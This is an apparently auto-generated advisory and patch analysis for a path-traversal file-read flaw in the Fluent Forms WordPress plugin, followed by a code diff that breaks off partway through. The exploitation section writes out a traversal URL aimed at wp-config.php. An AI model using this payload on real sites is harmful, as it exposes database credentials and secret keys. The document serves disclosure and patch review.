Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 5, 2026

CVE-2026-6344: Fluent Forms <= 6.2.1 – Authenticated (Administrator+) Arbitrary File Read via Path Traversal in Email Attachment (fluentform)

CVE ID CVE-2026-6344
Plugin fluentform
Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 6.2.1
Patched Version 6.2.2
Disclosed May 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6344:
This is an arbitrary file read vulnerability in the Fluent Forms WordPress plugin (versions up to 6.2.1). The vulnerability resides in the EmailNotificationActions class which resolves file-upload URLs to filesystem paths for email attachments. It allows an authenticated administrator to read arbitrary files readable by the web server user, including wp-config.php. The CVSS score is 4.9 (medium severity).

Root Cause:
The root cause is insufficient path validation in the getAttachments() method of EmailNotificationActions.php (lines 130-148 of the vulnerable code). The original code checked if the URL started with the WordPress uploads base URL using strpos(), then replaced the base URL with the filesystem base directory and used wp_normalize_path() and file_exists(). This validation is flawed. An attacker can supply a crafted URL like /../../wp-config.php. The strpos() prefix check passes because the URL starts with the correct upload base URL. wp_normalize_path() does not resolve ‘.’ and ‘..’ sequences within the path; it only normalizes directory separators. However, file_exists() at the kernel level resolves these sequences, allowing path traversal outside the uploads directory. The resolved file is then attached to the outbound admin notification email via wp_mail(). The critical functions are getAttachments(), the flawed strpos() check, wp_normalize_path() which does not sanitize traversal, and file_exists() which resolves the traversal.

Exploitation:
An attacker must have administrator access to the WordPress site. The attacker creates or edits a form that has a file-upload field configured to be attached in the admin notification email. The attacker submits a form submission, but instead of uploading a real file, they supply a crafted value for the file-upload field. The value must be a URL that starts with the WordPress uploads base URL (e.g., https://example.com/wp-content/uploads/) followed by path traversal sequences and the path to the target file (e.g., /../../wp-config.php). The full crafted URL would be something like: https://example.com/wp-content/uploads/../../wp-config.php. When the admin notification email is sent, the plugin processes this URL, resolves it to the filesystem path to the target file (e.g., /var/www/html/wp-config.php), and attaches the file to the email. The email is sent to the admin(s) configured for the notification, who then receive the file contents. The trigger can be initiated by unauthenticated users if the form is public, but the file is only sent to the admin email address.

Patch Analysis:
The patch introduces a new private method resolveUploadAttachmentPath() in EmailNotificationActions.php (lines 177-218 of the patched code). This method performs proper path validation. First, it normalizes the URL by stripping query strings and fragments with strtok(). It checks that the normalized URL starts with the uploads base URL. It then decodes the URL-encoded path using rawurldecode(), replaces the base URL to get a relative path, and normalizes it with wp_normalize_path(). Crucially, it performs a direct check for ‘../’ sequences in the relative path: if the relative path contains ‘../’, it returns null (rejecting the attachment). Additionally, it uses realpath() to resolve the absolute path of both the uploads base directory and the resolved file path, then verifies that the resolved file path starts with the resolved uploads base directory. This ensures that even if encoding tricks bypass the ‘../’ check, the realpath() resolution will reveal traversal and the prefix check will fail. The old code simply did a strpos() check, replaced the base URL, and called file_exists(), which resolved traversal sequences at the kernel level.

Impact:
Successful exploitation allows an authenticated administrator to read arbitrary files on the server that are readable by the web server user. The most critical file is wp-config.php, which contains database credentials (username, password, host, database name) and authentication salts and keys. With database credentials, an attacker could extract or modify all WordPress data. Authentication salts and keys could allow forging authentication cookies. Other potentially readable files include backups, other plugin configuration files, system files, or database exports (if present). The attacker cannot control the email recipient; the file is sent to the admin notification email configured in the form. However, if the admin email address is accessible to the attacker (e.g., same mailbox or they can intercept it), they can retrieve the file. This vulnerability does not lead to remote code execution directly, but the database credentials can enable further attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fluentform/app/Helpers/Helper.php
+++ b/fluentform/app/Helpers/Helper.php
@@ -1027,10 +1027,19 @@
                 if (ArrayHelper::isTrue($rawField, 'attributes.multiple')) {
                     $fieldType = 'multi_select';
                 }
-                $options = array_column(
-                    ArrayHelper::get($rawField, 'settings.advanced_options', []),
-                    'value'
-                );
+                $formattedOptions = ArrayHelper::get($rawField, 'settings.advanced_options', []);
+                if (!$formattedOptions) {
+                    $formattedOptions = [];
+                    foreach (ArrayHelper::get($rawField, 'options', []) as $value => $label) {
+                        $formattedOptions[] = [
+                            'label' => $label,
+                            'value' => $value,
+                        ];
+                    }
+                    // @todo : Update all reference in form templates
+                }
+
+                $options = array_column($formattedOptions, 'value');

                 // Add field-specific __ff_other__ to options if "Other" option is enabled
                 if (in_array($fieldType, ['input_checkbox', 'input_radio']) &&
--- a/fluentform/app/Http/Policies/GlobalIntegrationPolicy.php
+++ b/fluentform/app/Http/Policies/GlobalIntegrationPolicy.php
@@ -0,0 +1,47 @@
+<?php
+
+namespace FluentFormAppHttpPolicies;
+
+use FluentFormAppModulesAclAcl;
+use FluentFormFrameworkFoundationPolicy;
+use FluentFormFrameworkHttpRequestRequest;
+
+class GlobalIntegrationPolicy extends Policy
+{
+    public function verifyRequest(Request $request)
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    public function index()
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    public function updateIntegration()
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    public function updateModuleStatus()
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    private function canManageGlobalIntegrations()
+    {
+        if (
+            current_user_can('manage_options') ||
+            current_user_can('fluentform_full_access') ||
+            current_user_can('fluentform_settings_manager')
+        ) {
+            return true;
+        }
+
+        $roleCapability = Acl::getCurrentUserCapability();
+
+        // Legacy role-level Fluent Forms access stores the WP role key here.
+        // Granular Fluent Forms permissions must not imply settings access.
+        return $roleCapability && !in_array($roleCapability, Acl::getPermissionSet(), true);
+    }
+}
--- a/fluentform/app/Http/Routes/api.php
+++ b/fluentform/app/Http/Routes/api.php
@@ -93,15 +93,15 @@
 /*
 * Global Integrations
 */
-$router->prefix('integrations')->withPolicy('FormPolicy')->group(function ($router) {
-    $router->get('/', 'GlobalIntegrationController@index');
-    $router->post('/', 'GlobalIntegrationController@updateIntegration');
-    $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus');
+$router->prefix('integrations')->group(function ($router) {
+    $router->get('/', 'GlobalIntegrationController@index')->withPolicy('GlobalIntegrationPolicy');
+    $router->post('/', 'GlobalIntegrationController@updateIntegration')->withPolicy('GlobalIntegrationPolicy');
+    $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus')->withPolicy('GlobalIntegrationPolicy');

     /*
     * Form Integrations
     */
-    $router->prefix('{form_id}')->group(function ($router) {
+    $router->prefix('{form_id}')->withPolicy('FormPolicy')->group(function ($router) {
         $router->get('/form-integrations', 'FormIntegrationController@index');
         $router->get('/', 'FormIntegrationController@find');
         $router->post('/', 'FormIntegrationController@update');
--- a/fluentform/app/Models/FormMeta.php
+++ b/fluentform/app/Models/FormMeta.php
@@ -42,7 +42,7 @@

         $formMeta[] = [
             'meta_key' => 'template_name',
-            'value'    => Arr::get($attributes, 'predefined'),
+            'value'    => Arr::get($attributes, 'predefined', Arr::get($attributes, 'type', '')),
         ];

         if (isset($predefinedForm['notifications'])) {
@@ -84,7 +84,13 @@
     public static function store(Form $form, $formMeta)
     {
         foreach ($formMeta as $meta) {
-            $meta['value'] = trim(preg_replace('/s+/', ' ', $meta['value']));
+            $metaValue = $meta['value'];
+
+            if (is_array($metaValue) || is_object($metaValue)) {
+                $metaValue = wp_json_encode($metaValue);
+            }
+
+            $meta['value'] = trim(preg_replace('/s+/', ' ', (string) $metaValue));

             $form->formMeta()->create([
                 'meta_key' => $meta['meta_key'],
--- a/fluentform/app/Models/Traits/PredefinedForms.php
+++ b/fluentform/app/Models/Traits/PredefinedForms.php
@@ -18,7 +18,19 @@
             );
         }

-        $predefinedForm = json_decode($predefinedForm['json'], true)[0];
+        $predefinedJson = Arr::get($predefinedForm, 'json');
+
+        if ($predefinedJson) {
+            $decodedForm = json_decode($predefinedJson, true);
+            $predefinedForm = isset($decodedForm[0]) ? $decodedForm[0] : [];
+        }
+
+        if (!$predefinedForm || !is_array($predefinedForm)) {
+            throw new Exception(
+                // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Exception message, not output
+                __("The selected template is invalid.", 'fluentform')
+            );
+        }

         if (isset($predefinedForm['form_fields'])) {
             $predefinedForm['form_fields'] = json_encode($predefinedForm['form_fields']);
--- a/fluentform/app/Modules/Acl/Acl.php
+++ b/fluentform/app/Modules/Acl/Acl.php
@@ -159,38 +159,51 @@
         if ($formId && !FormManagerService::hasFormPermission($formId)) {
             return false;
         }
-        $userCapability = static::getCurrentUserCapability();

-        if ($userCapability) {
+        // Only explicit full-access users should bypass individual permission checks.
+        if (static::hasExplicitFullAccess()) {
             return true;
-        } else {
-            if (current_user_can('fluentform_full_access')) {
-                return true;
-            }
+        }

-            $permissions = (array) $permissions;
+        $grantedRole = static::getCurrentUserCapability();

-            foreach ($permissions as $permission) {
-                $allowed = current_user_can($permission);
+        foreach ((array) $permissions as $permission) {
+            $allowed = current_user_can($permission);

-                if ($allowed) {
-                    $allowed = apply_filters_deprecated(
-                        'fluentform_verify_user_permission_' . $permission,
-                        [
-                            $allowed,
-                            $formId
-                        ],
-                        FLUENTFORM_FRAMEWORK_UPGRADE,
-                        'fluentform/verify_user_permission_' . $permission,
-                        'Use fluentform/verify_user_permission_' . $permission . ' instead of fluentform_verify_user_permission_' . $permission
-                    );
+            // A granted role can satisfy scoped permissions, but never full access.
+            if (!$allowed && $grantedRole && 'fluentform_full_access' !== $permission) {
+                $allowed = true;
+            }

-                    return apply_filters('fluentform/verify_user_permission_' . $permission, $allowed, $formId);
-                }
+            if (!$allowed) {
+                continue;
             }

-            return false;
+            return static::filterPermissionCheck($permission, $allowed, $formId);
         }
+
+        return false;
+    }
+
+    private static function hasExplicitFullAccess()
+    {
+        return current_user_can('fluentform_full_access') || current_user_can('manage_options');
+    }
+
+    private static function filterPermissionCheck($permission, $allowed, $formId)
+    {
+        $allowed = apply_filters_deprecated(
+            'fluentform_verify_user_permission_' . $permission,
+            [
+                $allowed,
+                $formId
+            ],
+            FLUENTFORM_FRAMEWORK_UPGRADE,
+            'fluentform/verify_user_permission_' . $permission,
+            'Use fluentform/verify_user_permission_' . $permission . ' instead of fluentform_verify_user_permission_' . $permission
+        );
+
+        return apply_filters('fluentform/verify_user_permission_' . $permission, $allowed, $formId);
     }

     public static function hasAnyFormPermission($form_id = false)
--- a/fluentform/app/Modules/Component/Component.php
+++ b/fluentform/app/Modules/Component/Component.php
@@ -338,7 +338,7 @@
             ];
             $disabled['phone'] = [
                 'disabled'    => true,
-                'title'       => 'Phone Field',
+                'title'       => __('Phone Field', 'fluentform'),
                 'description' => __('Phone Field is not available with the free version. Please upgrade to pro to get all the advanced features.', 'fluentform'),
                 'image'       => fluentformMix('img/pro-fields/phone-field.png'),
                 'video'       => '',
@@ -510,7 +510,7 @@

         if (!empty($atts['permission'])) {
             if (!current_user_can($atts['permission'])) {
-                return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$atts['permission_message']}</div>";
+                return $this->getNotRenderableHtml($form->id, $atts['permission_message']);
             }
         }

@@ -565,7 +565,7 @@
         $isRenderable = $this->app->applyFilters('fluentform/is_form_renderable', $isRenderable, $form);

         if (is_array($isRenderable) && !$isRenderable['status']) {
-            return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$isRenderable['message']}</div>";
+            return $this->getNotRenderableHtml($form->id, $isRenderable['message']);
         }

         $instanceCssClass = Helper::getFormInstaceClass($form->id);
@@ -805,6 +805,13 @@
         return $output . $otherScripts;
     }

+    protected function getNotRenderableHtml($formId, $message)
+    {
+        return "<div id='ff_form_" . esc_attr($formId) . "' class='ff_form_not_render'>"
+            . wp_kses_post($message)
+            . "</div>";
+    }
+
     /**
      * Process the output HTML to generate the default values.
      *
--- a/fluentform/app/Modules/Entries/EntryViewRenderer.php
+++ b/fluentform/app/Modules/Entries/EntryViewRenderer.php
@@ -36,7 +36,7 @@
         }

         $form = wpFluent()->table('fluentform_forms')->find($form_id);
-        $submissionShortcodes = FluentFormAppServicesFormBuilderEditorShortCode::getSubmissionShortcodes();
+        $submissionShortcodes = FluentFormAppServicesFormBuilderEditorShortCode::getSubmissionShortcodes($form);
         $submissionShortcodes['shortcodes']['{submission.ip}'] = __('Submitter IP', 'fluentform');
         if ($form->has_payment) {
             $submissionShortcodes['shortcodes']['{payment.payment_status}'] = __('Payment Status','fluentform');
--- a/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
+++ b/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
@@ -248,7 +248,31 @@

     public function getFilters()
     {
-        $transactionTypes = Transaction::select('transaction_type')
+        $request = wpFluentForm()->request;
+        $attributes = $request->all();
+
+        $sanitizeMap = [
+            'form_id' => function ($value) {
+                return Acl::normalizeFormId($value);
+            },
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() below
+        Acl::verify('fluentform_view_payments', ArrayHelper::get($attributes, 'form_id'));
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() above
+        $selectedFormId = ArrayHelper::get($attributes, 'form_id');
+        $allowFormIds = apply_filters('fluentform/current_user_allowed_forms', false);
+
+        $transactionTypesQuery = Transaction::select('transaction_type');
+        if ($selectedFormId) {
+            $transactionTypesQuery = $transactionTypesQuery->where('form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $transactionTypesQuery = $transactionTypesQuery->whereIn('form_id', $allowFormIds ?: [0]);
+        }
+
+        $transactionTypes = $transactionTypesQuery
             ->groupBy('transaction_type')
             ->get();
         // Define transaction type labels
@@ -268,7 +292,15 @@
             ];
         }

-        $statuses = Transaction::select('status')
+        $statusesQuery = Transaction::select('status');
+        if ($selectedFormId) {
+            $statusesQuery = $statusesQuery->where('form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $statusesQuery = $statusesQuery->whereIn('form_id', $allowFormIds ?: [0]);
+        }
+
+        $statuses = $statusesQuery
             ->groupBy('status')
             ->get();
         $statusTypes = PaymentHelper::getPaymentStatuses();
@@ -276,11 +308,15 @@
         foreach ($statuses as $status) {
             $formattedStatuses[] = ArrayHelper::get($statusTypes, $status->status, $status->status);
         }
-        $allowFormIds = apply_filters('fluentform/current_user_allowed_forms', false);
-        $forms = Transaction::select('fluentform_transactions.form_id', 'fluentform_forms.title')
-            ->when(false !== $allowFormIds && is_array($allowFormIds), function ($q) use ($allowFormIds){
-                return $q->whereIn('fluentform_transactions.form_id', $allowFormIds ?: [0]);
-            })
+        $formsQuery = Transaction::select('fluentform_transactions.form_id', 'fluentform_forms.title');
+        if ($selectedFormId) {
+            $formsQuery = $formsQuery->where('fluentform_transactions.form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $formsQuery = $formsQuery->whereIn('fluentform_transactions.form_id', $allowFormIds ?: [0]);
+        }
+
+        $forms = $formsQuery
             ->groupBy('fluentform_transactions.form_id')
             ->orderBy('fluentform_transactions.form_id', 'DESC')
             ->join('fluentform_forms', 'fluentform_forms.id', '=', 'fluentform_transactions.form_id')
@@ -294,7 +330,15 @@
             ];
         }

-        $paymentMethods = Transaction::select('payment_method')
+        $paymentMethodsQuery = Transaction::select('payment_method');
+        if ($selectedFormId) {
+            $paymentMethodsQuery = $paymentMethodsQuery->where('form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $paymentMethodsQuery = $paymentMethodsQuery->whereIn('form_id', $allowFormIds ?: [0]);
+        }
+
+        $paymentMethods = $paymentMethodsQuery
             ->groupBy('payment_method')
             ->get();

--- a/fluentform/app/Modules/Payments/Components/Subscription.php
+++ b/fluentform/app/Modules/Payments/Components/Subscription.php
@@ -187,10 +187,12 @@
         }

         $inputAttributes = [
-            'type'  => 'hidden',
-            'name'  => $data['attributes']['name'],
-            'value' => '0',
-            'class' => 'ff_payment_item ff_subscription_item',
+            'type'              => 'hidden',
+            'name'              => $data['attributes']['name'],
+            'value'             => '0',
+            'class'             => 'ff_payment_item ff_subscription_item',
+            'data-name'         => $data['attributes']['name'],
+            'data-payment_item' => 'yes',
         ];

         $inputAttributes['id'] = $this->makeElementId($data, $form);
--- a/fluentform/app/Modules/Registerer/Menu.php
+++ b/fluentform/app/Modules/Registerer/Menu.php
@@ -1044,7 +1044,8 @@
 				    'net_promoter_score',
 				    'rangeslider',
 				    'custom_payment_component',
-                    'item_quantity_component'
+                    'item_quantity_component',
+                    'subscription_payment_component'
 			    ]
 		    ];
 	    }
--- a/fluentform/app/Services/Form/Updater.php
+++ b/fluentform/app/Services/Form/Updater.php
@@ -175,7 +175,49 @@

             if ('welcome_screen' == $element) {
                 if ($value = Arr::get($field, 'settings.button_ui.text')) {
-                    $field['settings']['button_ui']['text'] = sanitize_text_field($value);
+                    $field['settings']['button_ui']['text'] = fluentform_sanitize_html($value);
+                }
+            }
+
+            if ('form_step' == $element) {
+                foreach (['next_btn', 'prev_btn'] as $buttonKey) {
+                    $buttonSettings = Arr::get($field, 'settings.' . $buttonKey);
+                    if (!is_array($buttonSettings)) {
+                        continue;
+                    }
+
+                    if (isset($buttonSettings['type'])) {
+                        $field['settings'][$buttonKey]['type'] = sanitize_text_field($buttonSettings['type']);
+                    }
+
+                    if (isset($buttonSettings['text'])) {
+                        $field['settings'][$buttonKey]['text'] = fluentform_sanitize_html($buttonSettings['text']);
+                    }
+
+                    if (isset($buttonSettings['img_url'])) {
+                        $field['settings'][$buttonKey]['img_url'] = esc_url_raw($buttonSettings['img_url']);
+                    }
+
+                    if (isset($buttonSettings['img_alt'])) {
+                        $field['settings'][$buttonKey]['img_alt'] = sanitize_text_field($buttonSettings['img_alt']);
+                    }
+                }
+            }
+
+            if ('save_progress_button' == $element) {
+                $buttonUi = Arr::get($field, 'settings.button_ui');
+                if (is_array($buttonUi)) {
+                    if (isset($buttonUi['type'])) {
+                        $field['settings']['button_ui']['type'] = sanitize_text_field($buttonUi['type']);
+                    }
+
+                    if (isset($buttonUi['text'])) {
+                        $field['settings']['button_ui']['text'] = fluentform_sanitize_html($buttonUi['text']);
+                    }
+
+                    if (isset($buttonUi['img_url'])) {
+                        $field['settings']['button_ui']['img_url'] = esc_url_raw($buttonUi['img_url']);
+                    }
                 }
             }

@@ -258,7 +300,7 @@
             ],
             'button_ui'     => [
                 'type'    => 'sanitize_text_field',
-                'text'    => 'sanitize_text_field',
+                'text'    => 'fluentform_sanitize_html',
                 'img_url' => 'esc_url_raw',
             ],
         ];
@@ -294,7 +336,7 @@
         $stepsSanitizationMap = [
             'prev_btn' => [
                 'type'    => 'sanitize_text_field',
-                'text'    => 'sanitize_text_field',
+                'text'    => 'fluentform_sanitize_html',
                 'img_url' => 'esc_url_raw',
             ],
         ];
--- a/fluentform/app/Services/FormBuilder/DefaultElements.php
+++ b/fluentform/app/Services/FormBuilder/DefaultElements.php
@@ -195,7 +195,7 @@
                 ],
             ],
             'editor_options' => [
-                'title'      => 'Name Fields',
+                'title'      => __('Name Fields', 'fluentform'),
                 'element'    => 'name-fields',
                 'icon_class' => 'ff-edit-name',
                 'template'   => 'nameFields',
@@ -736,7 +736,7 @@
                         'UK' => 'United Kingdom',
                     ],
                     'editor_options' => [
-                        'title'      => 'Country List',
+                        'title'      => __('Country List', 'fluentform'),
                         'element'    => 'country-list',
                         'icon_class' => 'icon-text-width',
                         'template'   => 'selectCountry',
--- a/fluentform/app/Services/FormBuilder/EditorShortcodeParser.php
+++ b/fluentform/app/Services/FormBuilder/EditorShortcodeParser.php
@@ -111,7 +111,7 @@
             if (false !== strpos($handler, 'cookie.')) {
                 $scookieProperty = substr($handler, strlen('cookie.'));

-                return wpFluentForm('request')->cookie($scookieProperty);
+                return array_key_exists($scookieProperty, $_COOKIE) ? wp_unslash($_COOKIE[$scookieProperty]) : '';
             }

             if (false !== strpos($handler, 'dynamic.')) {
--- a/fluentform/app/Services/FormBuilder/Notifications/EmailNotificationActions.php
+++ b/fluentform/app/Services/FormBuilder/Notifications/EmailNotificationActions.php
@@ -130,13 +130,9 @@
                 $fileUrls = ArrayHelper::get($formData, $name);
                 if ($fileUrls && is_array($fileUrls)) {
                     foreach ($fileUrls as $url) {
-                        if (strpos($url, $uploadDir['baseurl']) === 0) {
-                            $relativePath = str_replace($uploadDir['baseurl'], '', $url);
-                            $filePath = wp_normalize_path($uploadDir['basedir'] . $relativePath);
-
-                            if (file_exists($filePath)) {
-                                $attachments[] = $filePath;
-                            }
+                        $filePath = $this->resolveUploadAttachmentPath($url, $uploadDir);
+                        if ($filePath) {
+                            $attachments[] = $filePath;
                         }
                     }
                 }
@@ -148,13 +144,9 @@
             $attachments = [];
             foreach ($mediaAttachments as $file) {
                 $fileUrl = ArrayHelper::get($file, 'url');
-                if ($fileUrl && strpos($fileUrl, $uploadDir['baseurl']) === 0) {
-                    $relativePath = str_replace($uploadDir['baseurl'], '', $fileUrl);
-                    $filePath = wp_normalize_path($uploadDir['basedir'] . $relativePath);
-
-                    if (file_exists($filePath)) {
-                        $attachments[] = $filePath;
-                    }
+                $filePath = $this->resolveUploadAttachmentPath($fileUrl, $uploadDir);
+                if ($filePath) {
+                    $attachments[] = $filePath;
                 }
             }
             $emailAttachments = array_merge($emailAttachments, $attachments);
@@ -185,6 +177,44 @@
         return $emailAttachments;
     }

+    private function resolveUploadAttachmentPath($fileUrl, $uploadDir)
+    {
+        if (!$fileUrl || empty($uploadDir['baseurl']) || empty($uploadDir['basedir'])) {
+            return null;
+        }
+
+        $normalizedUrl = strtok($fileUrl, '?#');
+        if (strpos($normalizedUrl, $uploadDir['baseurl']) !== 0) {
+            return null;
+        }
+
+        $relativePath = rawurldecode(str_replace($uploadDir['baseurl'], '', $normalizedUrl));
+        $relativePath = ltrim(wp_normalize_path($relativePath), '/');
+
+        if (!$relativePath || strpos($relativePath, '../') !== false) {
+            return null;
+        }
+
+        $uploadsBaseDir = realpath($uploadDir['basedir']);
+        if (!$uploadsBaseDir) {
+            return null;
+        }
+
+        $uploadsBaseDir = trailingslashit(wp_normalize_path($uploadsBaseDir));
+        $resolvedPath = realpath($uploadsBaseDir . $relativePath);
+
+        if (!$resolvedPath) {
+            return null;
+        }
+
+        $resolvedPath = wp_normalize_path($resolvedPath);
+        if (strpos($resolvedPath, $uploadsBaseDir) !== 0 || !is_file($resolvedPath)) {
+            return null;
+        }
+
+        return $resolvedPath;
+    }
+
     public function getFormData($submissionId)
     {
         $submission = wpFluent()->table('fluentform_submissions')
--- a/fluentform/app/Services/FormBuilder/ShortCodeParser.php
+++ b/fluentform/app/Services/FormBuilder/ShortCodeParser.php
@@ -142,7 +142,7 @@
                 $value = static::getSubmissionData($submissionProperty);
             } elseif (false !== strpos($matches[1], 'cookie.')) {
                 $scookieProperty = substr($matches[1], strlen('cookie.'));
-                $value = wpFluentForm('request')->cookie($scookieProperty);
+                $value = array_key_exists($scookieProperty, $_COOKIE) ? wp_unslash($_COOKIE[$scookieProperty]) : '';
             } elseif (false !== strpos($matches[1], 'payment.')) {
                 $property = substr($matches[1], strlen('payment.'));
                 $deprecatedValue = apply_filters_deprecated(
--- a/fluentform/app/Services/Settings/Validator/Confirmations.php
+++ b/fluentform/app/Services/Settings/Validator/Confirmations.php
@@ -38,7 +38,7 @@
     public static function conditionalValidations(Validator $validator)
     {
         $validator->sometimes('customUrl', 'required', function ($input) {
-            return 'customUrl' === $input['redirectTo'];
+            return isset($input['redirectTo']) && 'customUrl' === $input['redirectTo'];
         });

         return $validator;
--- a/fluentform/app/Services/Transfer/TransferService.php
+++ b/fluentform/app/Services/Transfer/TransferService.php
@@ -187,6 +187,8 @@
         $submissions = FormDataParser::parseFormEntries($submissions, $form, $formInputs);
         $parsedShortCodes = [];
         $exportData = [];
+        $selectedShortcodes = self::getSelectedExportShortcodes($args, $form);
+        $legacyShortcodeHeaders = self::getLegacyExportShortcodeHeaders();

         // Preload notes for all submissions in a single query to avoid N+1
         $notesMap = [];
@@ -229,21 +231,29 @@
                 $temp[] = Helper::sanitizeForCSV($content);
             }

-            if($selectedShortcodes = Arr::get($args,'shortcodes_to_export')){
-                $selectedShortcodes = fluentFormSanitizer($selectedShortcodes);
-                $parsedShortCodes = ShortCodeParser::parse(
-                    $selectedShortcodes,
-                    $submission->id,
-                    $submission->response,
-                    $form,
-                    false,
-                    true
-                );
-                if(!empty($parsedShortCodes)){
-                    foreach ($parsedShortCodes as $code){
-                        $temp[] = Arr::get($code,'value');
-                    }
+            if (!empty($selectedShortcodes)) {
+                $regularShortcodes = self::getRegularExportShortcodes($selectedShortcodes, $legacyShortcodeHeaders);
+
+                if (!empty($regularShortcodes)) {
+                    $parsedShortCodes = ShortCodeParser::parse(
+                        $regularShortcodes,
+                        $submission->id,
+                        $submission->response,
+                        $form,
+                        false,
+                        true
+                    );
                 }
+
+                $temp = array_merge(
+                    $temp,
+                    self::getSelectedShortcodeExportValues(
+                        $selectedShortcodes,
+                        $parsedShortCodes,
+                        $legacyShortcodeHeaders,
+                        $submission
+                    )
+                );
             }
             if ($withNotes) {
                 $noteValues = isset($notesMap[$submission->id]) ? $notesMap[$submission->id] : [];
@@ -252,17 +262,6 @@
                 }
             }

-            if (!$tableName) {
-                if ($form->has_payment) {
-                    $temp[] = round(($submission->payment_total ?? 0) / 100, 1);
-                    $temp[] = $submission->payment_status ?? '';
-                    $temp[] = $submission->currency ?? '';
-                }
-                $temp[] = $submission->id ?? '';
-                $temp[] = $submission->status ?? '';
-                $temp[] = $submission->created_at ?? '';
-            }
-
             $temp = apply_filters('fluentform/export_entry_metadata', $temp, $submission, $form, $args);

             $exportData[] = $temp;
@@ -270,27 +269,16 @@

         $extraLabels = [];

-        if(!empty($parsedShortCodes)){
-            foreach ($parsedShortCodes as $code){
-                $extraLabels[] = Arr::get($code,'label');
-            }
-        }
+        $extraLabels = self::getSelectedShortcodeExportLabels(
+            $selectedShortcodes,
+            $parsedShortCodes,
+            $legacyShortcodeHeaders
+        );

         $inputLabels = array_merge($inputLabels, $extraLabels);
         if($withNotes){
             $inputLabels[] = __('Notes','fluentform');
         }
-
-        if (!$tableName) {
-            if ($form->has_payment) {
-                $inputLabels[] = 'payment_total';
-                $inputLabels[] = 'payment_status';
-                $inputLabels[] = 'currency';
-            }
-            $inputLabels[] = 'entry_id';
-            $inputLabels[] = 'entry_status';
-            $inputLabels[] = 'created_at';
-        }
         $inputLabels = apply_filters('fluentform/export_entry_metadata_labels', $inputLabels, $form, $args);

         $data = array_merge([array_values($inputLabels)], $exportData);
@@ -311,6 +299,145 @@
         );
     }

+    private static function getSelectedExportShortcodes($args, $form)
+    {
+        $selectedShortcodes = fluentFormSanitizer(Arr::get($args, 'shortcodes_to_export', []));
+
+        if (!Arr::has($args, 'shortcodes_to_export_defined') && empty($selectedShortcodes)) {
+            return self::getDefaultExportShortcodes($form);
+        }
+
+        return $selectedShortcodes;
+    }
+
+    private static function getDefaultExportShortcodes($form)
+    {
+        $defaults = [
+            [
+                'label' => __('Submission ID', 'fluentform'),
+                'value' => '{submission.id}',
+            ],
+            [
+                'label' => __('Submission Create Date', 'fluentform'),
+                'value' => '{submission.created_at}',
+            ],
+            [
+                'label' => __('Submission Status', 'fluentform'),
+                'value' => '{submission.status}',
+            ],
+        ];
+
+        if ($form->has_payment) {
+            $defaults[] = [
+                'label' => __('Payment Status', 'fluentform'),
+                'value' => '{payment.payment_status}',
+            ];
+            $defaults[] = [
+                'label' => __('Payment Total', 'fluentform'),
+                'value' => '{payment.payment_total}',
+            ];
+            $defaults[] = [
+                'label' => __('Currency', 'fluentform'),
+                'value' => '{submission.currency}',
+            ];
+        }
+
+        return $defaults;
+    }
+
+    private static function getLegacyExportShortcodeHeaders()
+    {
+        return [
+            '{submission.id}'             => 'entry_id',
+            '{submission.status}'         => 'entry_status',
+            '{submission.created_at}'     => 'created_at',
+            '{payment.payment_status}'    => 'payment_status',
+            '{submission.payment_status}' => 'payment_status',
+            '{payment.payment_total}'     => 'payment_total',
+            '{submission.payment_total}'  => 'payment_total',
+            '{submission.currency}'       => 'currency',
+        ];
+    }
+
+    private static function getRegularExportShortcodes($selectedShortcodes, $legacyShortcodeHeaders)
+    {
+        $regularShortcodes = [];
+
+        foreach ($selectedShortcodes as $index => $shortcode) {
+            if (!isset($legacyShortcodeHeaders[Arr::get($shortcode, 'value')])) {
+                $regularShortcodes[$index] = $shortcode;
+            }
+        }
+
+        return $regularShortcodes;
+    }
+
+    private static function getSelectedShortcodeExportValues($selectedShortcodes, $parsedShortCodes, $legacyShortcodeHeaders, $submission)
+    {
+        $values = [];
+
+        foreach ($selectedShortcodes as $index => $shortcode) {
+            $shortcodeValue = Arr::get($shortcode, 'value');
+
+            if (!isset($legacyShortcodeHeaders[$shortcodeValue])) {
+                $values[] = Arr::get($parsedShortCodes, $index . '.value');
+                continue;
+            }
+
+            $values[] = self::getLegacyExportValue($legacyShortcodeHeaders[$shortcodeValue], $submission);
+        }
+
+        return $values;
+    }
+
+    private static function getSelectedShortcodeExportLabels($selectedShortcodes, $parsedShortCodes, $legacyShortcodeHeaders)
+    {
+        $labels = [];
+
+        foreach ($selectedShortcodes as $index => $shortcode) {
+            $shortcodeValue = Arr::get($shortcode, 'value');
+
+            if (isset($legacyShortcodeHeaders[$shortcodeValue])) {
+                $labels[] = $legacyShortcodeHeaders[$shortcodeValue];
+                continue;
+            }
+
+            $labels[] = Arr::get($parsedShortCodes, $index . '.label');
+        }
+
+        return $labels;
+    }
+
+    private static function getLegacyExportValue($header, $submission)
+    {
+        $legacyValueResolvers = [
+            'entry_id' => function ($submission) {
+                return $submission->id ?? '';
+            },
+            'entry_status' => function ($submission) {
+                return $submission->status ?? '';
+            },
+            'created_at' => function ($submission) {
